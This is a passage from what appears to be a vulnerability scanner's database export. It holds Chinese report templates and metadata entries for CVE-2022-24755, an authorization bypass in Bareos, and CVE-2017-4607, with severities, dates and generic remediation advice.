```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-399178,CVE-2022-24755,CNVD-2022-21543,CNNVD-202203-1436} | critical | 9.8 | CNVD-2022-21543 | 可能造成造成信息泄露，业务系统不稳定等安全问题 | null | service | null | Bareos是德国Bareos公司的一套开源的数据备份存储和恢复软件。Bareos Director是Bareos的守护进程。 Bareos 存在安全漏洞，该漏洞源于受影响产品在为 PAM 身份验证构建和配置时将完全跳过授权检查，过期帐户和密码过期的帐户仍然可以登录。 | CVE-2022-24755 | CVE-2022-24755: Bareos 安全漏洞 | null | 暂无 | f | 14/3/2022 16:00:00 | 建议尽快修复安全问题，并做好安全管理工作，定期进行安全巡检，最大程度地避免安全问题。 |
|
[] | null | f | CT-287599 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-287599,CVE-2017-4607} | low | 0 | null | 可能造成造成信息泄露，业务系统不稳定等安全问题 | null | service | null | CVE-2017-4607 | CVE-2017-4607: CVE-2017-4607 | null | 暂无 | f | 15/3/2018 16:00:00 | 建议尽快修复安全问题，并做好安全管理工作，定期进行安全巡检，最大程度地避免安全问题。 |